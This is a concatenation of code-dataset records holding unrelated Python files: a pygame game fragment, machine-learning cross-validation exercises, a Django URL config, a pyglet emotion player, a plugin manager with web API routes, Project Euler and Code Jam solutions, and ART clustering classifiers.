__updateSprite(self):\r\n\t\tself.backGroup.update()\r\n\t\tself.backGroup.draw(self.screen)\r\n\t\t\r\n\t\tself.enemyGroup.update()\r\n\t\tself.enemyGroup.draw(self.screen)\r\n\t\t\r\n\t\tself.planeGroup.update()\r\n\t\tself.planeGroup.draw(self.screen)\r\n\t\t\r\n\t\tself.plane.bullets.update()\r\n\t\tself.plane.bullets.draw(self.screen)\r\n\t\t\r\n\t# 游戏结束\r\n\t@staticmethod\r\n\tdef __gameOver():\r\n\t\t\r\n\t\tpygame.quit()\r\n\t\texit()\r\n\t\t\r\n\t\r\nif __name__ == '__main__':\r\n\t\r\n\tgame = PlaneGame()\r\n\tgame.startGame()\r\n","sub_path":"startGame.py","file_name":"startGame.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"342584389","text":"import numpy as np\nimport math\nimport Assistant_Functions as af\nimport time\nimport random \nfrom sklearn.neighbors import KNeighborsClassifier\nimport os\n\n\n\ndef PositionFinding(point,grid_length):\n \n position = []\n for i in range(len(point)):\n position.append( math.floor(point[i] /grid_length)*grid_length )\n return tuple(position) \n\n\ndef histogram_least_square( data , grid_length ):\n\n point_in_grid = {}\n\n # Locating the points\n for p in data:\n position = PositionFinding(p[1],grid_length)\n if position in point_in_grid:\n point_in_grid[position][0] += 1\n point_in_grid[position][1] += p[0]\n else:\n point_in_grid[position] = [1,p[0]]\n\n def f_D_s(x):\n position = PositionFinding(x,grid_length)\n if position in point_in_grid:\n return point_in_grid[position][1]/point_in_grid[position][0] \n else: \n return 0 \n \n return f_D_s\n\ndef loss_choice(method,a):\n\n def L_class(y,t):\n if y*t > 0:\n return 0\n else:\n return 1\n\n def L_ls(y,t):\n return (y-t)**2\n\n def L_alpha_class(y,t):\n if y == 1 and t<0:\n return 1-a\n elif y==-1 and t >= 0:\n return a\n else:\n return 0\n\n if method == 'ls':\n return L_ls \n elif method == 'bc':\n return L_class \n else: \n return L_alpha_class \n\ndef risk_calculation_test_train(name,s, method, a=0.5, printing=True):#\n train_data = af.read_binary_classified_data(name+'.train.csv')\n test_data = af.read_binary_classified_data(name+'.test.csv')\n\n L = loss_choice(method,a)\n\n time_1 = time.time()\n\n f_D_s = histogram_least_square( train_data, s )\n\n time_2 = time.time()\n\n R_D = 0\n for p in train_data:\n R_D += L(p[0],f_D_s(p[1]))\n R_D = R_D / len(train_data)\n\n time_3 = time.time()\n\n R_D_p = 0\n for p in test_data:\n R_D_p += L(p[0],f_D_s(p[1]))\n R_D_p = R_D_p / len(test_data)\n\n time_4 = time.time()\n\n time_f_D_s = time_2 - time_1\n time_R_D = time_3 - time_2\n time_R_D_p = time_4 - time_3\n\n if printing:\n print(\"R_D(f) = {}\".format(R_D))\n print(\"R_D'(f) = {}\".format(R_D_p))\n print( \"It takes {:.5f} seconds to calculate f_D_s.\".format(time_f_D_s) )\n print( \"It takes {:.5f} seconds to calculate R_D(f).\".format(time_R_D) )\n print( \"It takes {:.5f} seconds to calculate R_D'(f).\".format(time_R_D_p) )\n\n return [R_D, R_D_p, time_f_D_s ,time_R_D ,time_R_D_p ]\n\ndef result_comparison_3_5(method,a=0.5):\n l = []\n ss = [2,1.5,1,0.8,0.6,0.4,0.2,0.1,0.08,0.06,0.04,0.02,0.01,0.008,0.006,0.004,0.002,0.001]\n for s in ss:\n temp = [s]\n r = risk_calculation_test_train('bank-marketing', s, method ) \n for entry in r : \n temp.append(round(entry,5))\n l.append(temp)\n af.writeCsv('results.'+method+'.csv',l)\n\ndef risk_calculation_hist( data, f_D_s, L):\n R = 0\n for p in data:\n R += L(p[0],f_D_s(p[1]))\n R = R / len(data)\n return R\n\ndef k_fold_cross_validation_hist( name , k , s , method , a = 0.5 ):\n \n L = loss_choice(method,a)\n \n whole_data = af.read_binary_classified_data(name)\n data_sets = []\n for i in range(k):\n data_sets.append([])\n for p in whole_data:\n i = random.randint(0,k-1)\n data_sets[i].append(p)\n\n total_error = 0\n for i in range(k):\n D_i = data_sets[i]\n D_i_p = []\n for j in range(k):\n if j != i:\n D_i_p = D_i_p + data_sets[j]\n f_D_i_p = histogram_least_square(D_i_p , s)\n total_error += risk_calculation_hist(D_i , f_D_i_p , L)\n \n return total_error/k\n\n\ndef predict_test_data(train_X, train_Y, test_data, k):\n predict_label = []\n neigh = KNeighborsClassifier(n_neighbors=k)\n neigh.fit(train_X, train_Y)\n for point in test_data:\n predict_label.append(neigh.predict([point])[0])\n return predict_label\n\n\ndef k_fold_cross_validation_knn(name , k , k0, method , a = 0.5):\n L = loss_choice(method,a)\n \n whole_data = af.read_binary_classified_data(name)\n data_sets = []\n for i in range(k):\n data_sets.append([])\n for p in whole_data:\n i = random.randint(0,k-1)\n data_sets[i].append(p)\n\n total_error = 0\n for i in range(k):\n print(\"i :\",i)\n D_i = data_sets[i]\n D_i_p = []\n for j in range(k):\n if j != i:\n D_i_p = D_i_p + data_sets[j]\n X_train , Y_train = af.separate_label(D_i_p)\n X_test , Y_test = af.separate_label(D_i)\n labels = predict_test_data(X_train, Y_train , X_test,k0)\n s = 0\n for n in range(len(labels)):\n s += L(Y_test[n],labels[n]) \n total_error += s/len(labels)\n print(total_error)\n\n return total_error/k\n\n\ndef k_fold_knn_comparison(name , k_list , k0_list , method , a=0.5):\n filename = os.getcwd()+'\\\\Data_sets_for_binary_classification\\\\'+name+'.train.csv'\n result = []\n for k in k_list:\n for k0 in k0_list:\n print(\"k :\",k)\n error = k_fold_cross_validation_knn(filename , k , k0 , method)\n print(k,k0,error)\n result.append([k,k0,error])\n af.writeCsv(name +'.'+method + '.k_fold_knn_comparison.csv',result)\n \n\n\ndef k_fold_hist_comparison(name , s_list , k_list, method , a=0.5 ):\n filename = os.getcwd()+'\\\\Data_sets_for_binary_classification\\\\'+name+'.train.csv'\n result = []\n for k in k_list:\n print('k ',k)\n for s in s_list:\n print('s ',s)\n error = k_fold_cross_validation_hist(filename , k , s, method , a=0.5)\n print(k,s,error)\n result.append([k,s,error])\n af.writeCsv(name+'.'+method+'.k_fold_hist_comparison.csv',result)\n\n\n\n\n##### Execution Area #####\n\n#k_fold_cross_validation_hist('bank-marketing.csv', k=2 , s=2 , method='ls')\n#k_fold_cross_validation_knn('bank-marketing.csv', k=5 , method='ls')\n\n\ns_list = [2,1,0.5,0.1,0.05,0.01,0.005]\nk_list = [2,3,4,5,6,7,8,9,10]\nk0_list = [1,2,3,4,5,6,7,8,9,10]\n\n#k_fold_hist_comparison('htru2.bc',s_list, k_list,'ls')\nk_fold_knn_comparison('htru2.bc',k_list, k0_list, 'ls')\n\n#k_fold_hist_comparison('htru2.bc',s_list, k_list,'bc')\nk_fold_knn_comparison('htru2.bc',k_list, k0_list, 'bc')\n\n#k_fold_hist_comparison('htru2.bc',s_list, k_list,'a0.1',a=0.1)\nk_fold_knn_comparison('htru2.bc',k_list, k0_list, 'a0.1',a=0.1)\n\n#k_fold_hist_comparison('htru2.bc',s_list, k_list,'a0.9',a=0.1)\nk_fold_knn_comparison('htru2.bc',k_list, k0_list, 'a0.9',a=0.9)\n\n#k_fold_hist_comparison('nursery.bc',s_list, k_list,'ls')\nk_fold_knn_comparison('nursery.bc',k_list, k0_list, 'ls')\n\n#k_fold_hist_comparison('wilt.bc',s_list, k_list,'ls')\nk_fold_knn_comparison('wilt.bc',k_list, k0_list, 'ls')\n\n\n#k_fold_hist_comparison('wine_quality_all.bc',s_list, k_list,'ls')\nk_fold_knn_comparison('wine_quality_all.bc',k_list, k0_list, 'ls')\n\n#k_fold_hist_comparison('seismic_bumps.bc',s_list, k_list,'ls')\nk_fold_knn_comparison('seismic_bumps.bc',k_list, k0_list, 'ls')\n\n","sub_path":"Blatt10/Implementierung/Exercise_3.3_3.5_3.8_3.11_3.12.py","file_name":"Exercise_3.3_3.5_3.8_3.11_3.12.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"596404776","text":"fi = open('in', 'r')\nfo = open('out', 'w')\n\nT = int(fi.readline())\nfor t in range(T):\n s = str(fi.readline())\n ans = ''\n for si in s:\n if ans == '' or si < ans[0]:\n ans += si\n else:\n ans = si + ans\n\n fo.write('Case #{}: {}'.format(t + 1, ans))\n","sub_path":"codes/CodeJamCrawler/16_0_1/CrazyMinistr/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"562193797","text":"\"\"\"theproject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom django.conf.urls import include\nfrom django.urls import path\nfrom Pannel import views as pannel\nfrom blogapp import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.Home, name='home'),\n path('post/', views.postdetail, name='post'),\n path('addpost', views.addPost.as_view(), name='addPost'),\n path('updatePost/', views.updatePost.as_view(), name='updatePost'),\n path('deletePost/', views.deletePost.as_view(), name='deletePost'),\n path('category/', views.categoryPage, name='category'),\n path('like/', views.like, name='like'),\n path('', include('django.contrib.auth.urls')),\n path('', include('members.urls')),\n path('', include('Pannel.urls')),\n path('profile/', views.profile, name='profile'),\n path('vote/', views.vote, name='vote'),\n path('postcomment/', views.postcomment, name='postcomment'),\n path('contact', views.contact, name='contact'),\n path('reply', views.reply, name='reply'),\n\n] + static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n","sub_path":"theproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"516909893","text":"import pyglet\nimport subprocess\n# Subprocess module is used to play .wav audio files\n# Pyglet module is used to play .gif media files\n\nclass Emotions():\n \"\"\" The functions within this class have similar functionality. Each function below stores a unique sound file and a unique gif file according to the predefined emotion.\"\"\"\n\n\n def happyFunction(self):\n # Retrieves happy.gif and happy.wav\n subprocess.call(['afplay', 'assets/happy.wav'])\n\n animationhappy = pyglet.image.load_animation('assets/happy.gif')\n animationhappy_sprite = pyglet.sprite.Sprite(animationhappy)\n\n w = animationhappy_sprite.width\n h = animationhappy_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationhappy_sprite.draw()\n\n pyglet.app.run()\n\n def scaredFunction(self):\n # Retrieves scared.gif and scared.wav\n subprocess.call(['afplay', 'assets/scared.wav'])\n\n animationscared = pyglet.image.load_animation('assets/scared.gif')\n animationscared_sprite = pyglet.sprite.Sprite(animationscared)\n\n w = animationscared_sprite.width\n h = animationscared_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationscared_sprite.draw()\n\n pyglet.app.run()\n\n def playfulFunction(self):\n # Retrieves playful.gif and playful.wav\n subprocess.call(['afplay', 'assets/playful.wav'])\n\n animationplayful = pyglet.image.load_animation('assets/playful.gif')\n animationplayful_sprite = pyglet.sprite.Sprite(animationplayful)\n\n w = animationplayful_sprite.width\n h = animationplayful_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationplayful_sprite.draw()\n\n pyglet.app.run()\n\n def cuteFunction(self):\n # Retrieves cute.gif and cute.wav\n subprocess.call(['afplay', 'assets/cute.wav'])\n\n animationcute = pyglet.image.load_animation('assets/cute.gif')\n animationcute_sprite = pyglet.sprite.Sprite(animationcute)\n\n w = animationcute_sprite.width\n h = animationcute_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationcute_sprite.draw()\n\n pyglet.app.run()\n\n def computerFunction(self):\n # Retrieves computer.gif and computer.wav\n subprocess.call(['afplay', 'assets/computer.wav'])\n\n animationcomputer = pyglet.image.load_animation('assets/computer.gif')\n animationcomputer_sprite = pyglet.sprite.Sprite(animationcomputer)\n\n w = animationcomputer_sprite.width\n h = animationcomputer_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationcomputer_sprite.draw()\n\n pyglet.app.run()\n\n def goatFunction(self):\n # Retrieves goat.gif and goat.wav\n subprocess.call(['afplay', 'assets/goat.wav'])\n\n animationgoat = pyglet.image.load_animation('assets/goat.gif')\n animationgoat_sprite = pyglet.sprite.Sprite(animationgoat)\n\n w = animationgoat_sprite.width\n h = animationgoat_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationgoat_sprite.draw()\n\n pyglet.app.run()\n\n def powerfulFunction(self):\n # Retrieves powerful.gif and powerful.wav\n subprocess.call(['afplay', 'assets/powerful.wav'])\n\n animationpowerful = pyglet.image.load_animation('assets/powerful.gif')\n animationpowerful_sprite = pyglet.sprite.Sprite(animationpowerful)\n\n w = animationpowerful_sprite.width\n h = animationpowerful_sprite.height\n window = pyglet.window.Window(width=w, height=h)\n\n @window.event\n def on_draw():\n window.clear()\n animationpowerful_sprite.draw()\n\n pyglet.app.run()\n","sub_path":"FinalProject/emotions.py","file_name":"emotions.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"360596239","text":"import time\nimport json\nimport os\nfrom pathlib import Path\n\nfrom core import db\n\n# Initialize \ndbCollectionName = \"plugins\"\n\n# Model Class\nclass _plugin(db._document):\n name = str()\n enabled = bool()\n installed = bool()\n version = float()\n\n _dbCollection = db.db[dbCollectionName]\n\n # Override parent new to include name var, parent class new run after class var update\n def new(self,name):\n self.name = name\n return super(_plugin, self).new()\n\n # Override parent to support plugin dynamic classes\n def loadAsClass(self,jsonList,sessionData=None):\n result = []\n # Loading json data into class\n for jsonItem in jsonList:\n _class = loadPluginClass(jsonItem[\"name\"])\n if _class:\n result.append(helpers.jsonToClass(_class(),jsonItem))\n else:\n logging.debug(\"Error unable to locate plugin class, pluginName={0}\".format(jsonItem[\"name\"]))\n return result\n\n def installHandler(self):\n self.installHeader()\n result = self.install()\n self.installFooter()\n if result:\n self.enabled = True\n self.installed = True\n self.update([\"enabled\",\"installed\"])\n\n def installHeader(self):\n pass\n\n def install(self):\n return False\n\n def installFooter(self):\n pass\n\n def upgradeHandler(self):\n LatestPluginVersion = loadPluginClass(self.name).version\n if self.version < LatestPluginVersion:\n self.upgradeHeader(LatestPluginVersion)\n self.upgrade(LatestPluginVersion)\n self.upgradeFooter(LatestPluginVersion)\n\n def upgradeHeader(self,LatestPluginVersion):\n logging.debug(\"Starting plugin upgrade, pluginName={0}\".format(self.name),-1)\n\n def upgrade(self,LatestPluginVersion):\n pass\n\n def upgradeFooter(self,LatestPluginVersion):\n self.version = LatestPluginVersion\n self.update([\"version\"])\n logging.debug(\"Plugin upgrade completed, pluginName={0}\".format(self.name),-1)\n\n def uninstallHandler(self):\n self.enabled = False\n self.installed = False\n self.uninstallHeader()\n result = self.uninstall()\n self.uninstallFooter()\n self.update([\"enabled\",\"installed\"])\n\n def uninstallHeader(self):\n pass\n\n def uninstall(self):\n return False\n\n def uninstallFooter(self):\n pass\n\n\nfrom core import api, logging, model, helpers\n\n# API\nif api.webServer:\n if not api.webServer.got_first_request:\n @api.webServer.route(api.base+\"plugins//installed/\", methods=[\"GET\"])\n def pluginInstalled(pluginName):\n result = { \"installed\" : False }\n plugins = _plugin().query(api.g[\"sessionData\"],query={ \"name\" : pluginName })[\"results\"]\n if len(plugins) == 1:\n plugins = plugins[0]\n if plugins[\"installed\"]:\n result = { \"installed\" : True }\n return result, 200\n\n @api.webServer.route(api.base+\"plugins//valid/\", methods=[\"GET\"])\n def pluginValid(pluginName):\n result = { \"valid\" : False }\n plugins = os.listdir(\"plugins\")\n for plugin in plugins:\n if plugin == pluginName:\n result = { \"valid\" : True }\n return result, 200\n\n @api.webServer.route(api.base+\"plugins/\", methods=[\"GET\"])\n def getPlugins():\n result = {}\n result[\"results\"] = []\n plugins = os.listdir(\"plugins\")\n for plugin in plugins:\n result[\"results\"].append({ \"name\" : plugin, \"location\" : \"plugins/{0}\".format(plugin) })\n return result, 200\n\n @api.webServer.route(api.base+\"plugins//\", methods=[\"GET\"])\n def getPlugin(pluginName):\n result = {}\n result[\"results\"] = []\n plugins = _plugin().query(api.g[\"sessionData\"],query={ \"name\" : pluginName })[\"results\"]\n if len(plugins) == 1:\n result[\"results\"] = plugins\n if result[\"results\"]:\n return result, 200\n else:\n return { }, 404\n\n @api.webServer.route(api.base+\"plugins//\", methods=[\"POST\"])\n def updatePlugin(pluginName):\n data = json.loads(api.request.data)\n if data[\"action\"] == \"install\" or data[\"action\"] == \"uninstall\" or data[\"action\"] == \"upgrade\":\n pluginClass = loadPluginClass(pluginName)\n if pluginClass:\n plugins = _plugin().query(api.g[\"sessionData\"],query={ \"name\" : pluginName })[\"results\"]\n if len(plugins) == 1:\n plugins = plugins[0]\n if data[\"action\"] == \"install\":\n installPlugin = pluginClass().get(plugins[\"_id\"])\n installPlugin.installHandler()\n return { }, 200\n elif data[\"action\"] == \"uninstall\":\n uninstallPlugin = pluginClass().get(plugins[\"_id\"])\n uninstallPlugin.uninstallHandler()\n return { }, 200\n elif data[\"action\"] == \"upgrade\":\n upgradePlugin = pluginClass().get(plugins[\"_id\"])\n upgradePlugin.upgradeHandler()\n return { }, 200\n return { }, 404\n\ndef loadPluginClass(pluginName):\n try:\n mod = __import__(\"plugins.{0}.{0}\".format(pluginName), fromlist=[\"_{0}\".format(pluginName)])\n class_ = getattr(mod, \"_{0}\".format(pluginName))\n return class_\n except ModuleNotFoundError:\n pass\n except AttributeError:\n pass\n return None\n\n# Load / Delete valid / non-valid plugins\ndef updatePluginDB():\n listedPlugins = _plugin().query()[\"results\"]\n plugins = os.listdir(\"plugins\")\n for plugin in plugins:\n dbplugin = [ x for x in listedPlugins if x[\"name\"] == plugin ]\n if not dbplugin:\n pluginClass = loadPluginClass(plugin)\n if pluginClass:\n newPlugin = pluginClass()\n newPlugin.name = plugin\n newPluginID = newPlugin._dbCollection.insert_one(newPlugin.parse()).inserted_id\n newPlugin = pluginClass().get(newPluginID)\n if newPlugin.installed != True:\n newPlugin.installHandler()\n elif newPlugin.version < pluginClass.version:\n loadedPlugin.upgradeHandler()\n else:\n dbplugin = dbplugin[0]\n pluginClass = loadPluginClass(plugin)\n loadedPlugin = pluginClass().get(dbplugin[\"_id\"])\n if loadedPlugin.installed != True:\n loadedPlugin.installHandler()\n elif loadedPlugin.version < pluginClass.version:\n loadedPlugin.upgradeHandler()\n del listedPlugins[listedPlugins.index(dbplugin)]\n for listedPlugin in listedPlugins:\n plugins = _plugin().api_delete(query={ \"name\" : listedPlugin[\"name\"] })\n\n# Cleans all object references for non-existent plugin models\ndef cleanPluginDB():\n pass\n\nupdatePluginDB()\n","sub_path":"core/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":7319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"284994750","text":"\n\n'''\n# --------------------------------------------\n# select dataset\n# --------------------------------------------\n'''\n\n\ndef define_Dataset(dataset_opt):\n dataset_type = dataset_opt['dataset_type'].lower()\n if dataset_type in ['dncnn7', 'denoising']:\n from dataset_dncnn7 import DatasetDnCNN as D\n \n else:\n raise NotImplementedError('Dataset [{:s}] is not found.'.format(dataset_type))\n\n dataset = D(dataset_opt)\n print('Dataset [{:s} - {:s}] is created.'.format(dataset.__class__.__name__, dataset_opt['name']))\n return dataset\n","sub_path":"src/denoise_cnn/.ipynb_checkpoints/select_dataset-checkpoint.py","file_name":"select_dataset-checkpoint.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"151828269","text":"# The prime factors of 13195 are 5, 7, 13 and 29.\n# What is the largest prime factor of the number 600851475143?\n\n# Strategy: trim down the number by repeatedly dividing it by factors \n# smaller than the square root of the number. Keep track of the largest\n# factor found so far and return it later.\n\nfrom math import sqrt\n\n\ndef isPrime(num):\n if num < 2: \n return false\n\n for n in range(2, num):\n if num % n == 0:\n return False\n \n return True\n\n\ndef largestPrimeFactor(num):\n factor = -1\n for n in range(2, int(sqrt(num))):\n if num == 1:\n break\n if num % n != 0:\n continue\n if isPrime(n):\n factor = n\n num = num / n\n \n return factor\n\n\nprint(largestPrimeFactor(600851475143)) # 6857","sub_path":"python/problem3.py","file_name":"problem3.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"276570679","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 15 19:01:02 2017\n\n@author: ga\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\n#riversegs = pd.read_excel('riversegs_1.xlsx')\nwaterbalance = pd.read_excel('WATERBALANCE_1976_NO_1.xlsx')\nprint('readed')\n#rc = riversegs.columns\nwc = waterbalance.columns\n\n#merged = pd.merge(riversegs, waterbalance, on=['REGIONINDEX','BSVALUE', 'BSLENGTH'])\nSTRALHERORDER = waterbalance['STRALHERORDER'].values\n#SUMSLOPEERO = waterbalance['SUMSLOPEERO'].values\n#SUMCHANNELERO = waterbalance['SUMCHANNELERO'].values\n#SUMGRAVITYERO = waterbalance['SUMGRAVITYERO'].values\n\n# SlopeArea = merged['AREASOURCE_x'].values + merged['AREALEFT_x'].values +merged['AREARIGHT_x'].values\nCATCHMENTAREA = waterbalance['CATCHMENTAREA'].values\n\n# sm_s = SUMSLOPEERO / CATCHMENTAREA #Sediment Modulus of lope\n# sm_c = SUMSLOPEERO / CATCHMENTAREA\n\n\nminorder = STRALHERORDER.min()\nmaxorder = STRALHERORDER.max()\n\nSM = [{'s_ero':[], 'c_ero': [], 'g_ero': [], 'c': []} for x in range(minorder, maxorder + 1)]\n\nfor i in range(len(STRALHERORDER)):\n\torder = STRALHERORDER[i] - 1\n\tSM[order]['s_ero'].append(0)\n\tSM[order]['c_ero'].append(0)\n\tSM[order]['g_ero'].append(0)\n\tSM[order]['c'].append(CATCHMENTAREA[i])\n\nfor i in range(minorder, maxorder + 1):\n\ti = i - 1\n\tsum_ca = sum(np.array(SM[i]['c']))\n\tmean_ca = np.mean(np.array(SM[i]['c']))\n\tsum_s_ero = np.nansum(np.array(SM[i]['s_ero']))\n\tsum_c_ero = np.nansum(np.array(SM[i]['c_ero']))\n\tsum_g_ero = np.nansum(np.array(SM[i]['g_ero']))\n\t# print(sum_s_ero/sum_ca, sum_c_ero/sum_ca, sum_g_ero/sum_ca)\n\tprint('%d,%d' % (i+1, mean_ca))\n\t# print(i+1, np.array(SM[i]['s']).mean(), np.nanmean(np.array(SM[i]['c_ero'])), np.nanmean(np.array(SM[i]['g'])))","sub_path":"CBG/chabagou_merge.py","file_name":"chabagou_merge.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"387918957","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Oct 24 2020\r\n\r\n@author: Waldo Hasperué\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom matplotlib.pyplot import imread\r\n\r\n\r\ndef AbrirImagen(archivo):\r\n datos = np.array(imread(archivo))\r\n sh=np.shape(datos)\r\n datos2 = []\r\n for i in range(sh[0]):\r\n for j in range(sh[1]):\r\n color = sum(datos[i][j])\r\n ok=False\r\n if(color==255): #Negro\r\n color=0\r\n ok=True\r\n if(color==510): #Rojo\r\n color=1\r\n ok=True\r\n if(ok):\r\n datos2.append([j, 1000 - i, color])\r\n #datos2.append(color)\r\n return np.array(datos2)\r\n\r\n\r\nif __name__ == '__main__':\r\n archivo = r'Imagen.bmp'\r\n print(AbrirImagen(archivo))\r\n\r\n\r\n\r\n","sub_path":"actividades/Actividades_2/ImagenPuntosMPL.py","file_name":"ImagenPuntosMPL.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"295164300","text":"def alarm_clock(day, vacation):\n if vacation:\n if day > 0 and day < 6:\n return \"10:00\"\n elif day == 6 or day == 0:\n return \"off\"\n else:\n if day > 0 and day < 6:\n return \"7:00\"\n elif day == 6 or day == 0:\n return \"10:00\"\n\n","sub_path":"sol/sol_alarm_clock.py","file_name":"sol_alarm_clock.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"591431971","text":"\n'''\nReferences:\n* Constructive Feedforward ART Clustering Networks -- Part I\n** Andrea, Baraldi;\n** Ethem, Alpaydm;\n** http://citeseer.ist.psu.edu/721216.html\n'''\n\n\nimport math\n\nimport classifiers\nimport transcripts\nimport vectors\n\n\nclass Classifier (classifiers.Classifier) :\n\t\n\tdef __init__ (self, data_path, vigilance, learning, runs) :\n\t\tclassifiers.Classifier.__init__ (self, data_path)\n\t\tself.vigilance = vigilance\n\t\tself.learning = learning\n\t\tself.runs = runs\n\t\tself.runs_ = 0\n\t\n\t\n\tdef needs_training_1 (self) :\n\t\treturn self.runs_ < self.runs\n\t\n\t\n\tdef begin_training_1 (self) :\n\t\tif self.prototypes is None :\n\t\t\tself.prototypes = list ()\n\t\tself.prototype_stepper = transcripts.Stepper ('Prototypes')\n\t\n\t\n\tdef end_training_1 (self) :\n\t\tself.prototype_stepper.destroy ()\n\t\tself.prototype_stepper = None\n\t\tself.runs_ += 1\n\t\n\t\n\tdef execute_training_1 (self, pattern) :\n\t\tbest_matched_prototype = None\n\t\tbest_matched_activation = None\n\t\tmatched_prototypes = list ()\n\t\tunmatched_prototypes = list ()\n\t\tfor prototype in self.prototypes :\n\t\t\tif self.match (prototype, pattern) > self.vigilance:\n\t\t\t\tactivation = self.activation (prototype, pattern)\n\t\t\t\tif best_matched_activation is None :\n\t\t\t\t\tbest_matched_prototype = prototype\n\t\t\t\t\tbest_matched_activation = activation\n\t\t\t\telif best_matched_activation < activation :\n\t\t\t\t\tmatched_prototypes.append (best_matched_prototype)\n\t\t\t\t\tbest_matched_prototype = prototype\n\t\t\t\t\tbest_matched_activation = activation\n\t\t\t\telse :\n\t\t\t\t\tmatched_prototypes.append (prototype)\n\t\t\telse :\n\t\t\t\tunmatched_prototypes.append (prototype)\n\t\tif best_matched_prototype is None :\n\t\t\tbest_matched_prototype = pattern\n\t\tadjusted_prototypes = list ()\n\t\tadjusted_prototypes.append (self.adjust (best_matched_prototype, pattern, self.learning))\n\t\tfor prototype in matched_prototypes :\n\t\t\tadjusted_prototypes.append (prototype)\n\t\tfor prototype in unmatched_prototypes :\n\t\t\tadjusted_prototypes.append (prototype)\n\t\tnew_prototypes = list ()\n\t\tfor prototype in adjusted_prototypes :\n\t\t\tif vectors.magnitude (prototype) <= 0.000000001 :\n\t\t\t\ttranscripts.printf_warning ('Prototype vector is almost 0; pruning.')\n\t\t\telse :\n\t\t\t\tnew_prototypes.append (prototype)\n\t\tself.prototypes = new_prototypes\n\t\tself.prototype_stepper.update (len (self.prototypes))\n\t\n\t\n\tdef begin_classification_1 (self) :\n\t\tpass\n\t\n\t\n\tdef end_classification_1 (self) :\n\t\tpass\n\t\n\t\n\tdef execute_classification_1 (self, pattern, index) :\n\t\treturn classifiers.execute_classification (self.prototypes, pattern, index, self.similarity)\n\t\n\t\n\tdef match (self, prototype, pattern) :\n\t\treturn vectors.cosine_similarity (prototype, pattern)\n\t\n\t\n\tdef activation (self, prototype, pattern) :\n\t\treturn vectors.cosine_similarity (prototype, pattern)\n\t\n\nclass Classifier_A (Classifier) :\n\t\n\tdef __init__ (self, data_path, vigilance, learning, runs) :\n\t\tClassifier.__init__ (self, data_path, vigilance, learning, runs)\n\t\n\t\n\tdef adjust (self, prototype, pattern, learning) :\n\t\tprototype_ = prototype + learning * (pattern - prototype)\n\t\tprototype_ = vectors.maximum (prototype_, 0.0)\n\t\tprototype_ /= vectors.magnitude (prototype_)\n\t\treturn prototype_\n\n\nclass Classifier_B (Classifier) :\n\t\n\tdef __init__ (self, data_path, vigilance, learning, runs) :\n\t\tClassifier.__init__ (self, data_path, vigilance, learning, runs)\n\t\n\t\n\tdef adjust (self, prototype, pattern, learning) :\n\t\tprototype_ = (1.0 - learning) * prototype + learning * vectors.minimum (prototype, pattern)\n\t\tprototype_ /= vectors.magnitude (prototype_)\n\t\treturn prototype_\n\n\nclass Classifier_C (Classifier) :\n\t\n\tdef __init__ (self, data_path, vigilance, learning, runs) :\n\t\tClassifier.__init__ (self, data_path, vigilance, learning, runs)\n\t\n\t\n\tdef adjust (self, prototype, pattern, learning) :\n\t\tdistance = vectors.euclidean_distance (prototype, pattern)\n\t\tprototype_ = prototype + (learning * math.exp (- distance ** 2)) * (pattern - prototype)\n\t\tprototype_ = vectors.maximum (prototype_, 0.0)\n\t\tprototype_ /= vectors.magnitude (prototype_)\n\t\treturn 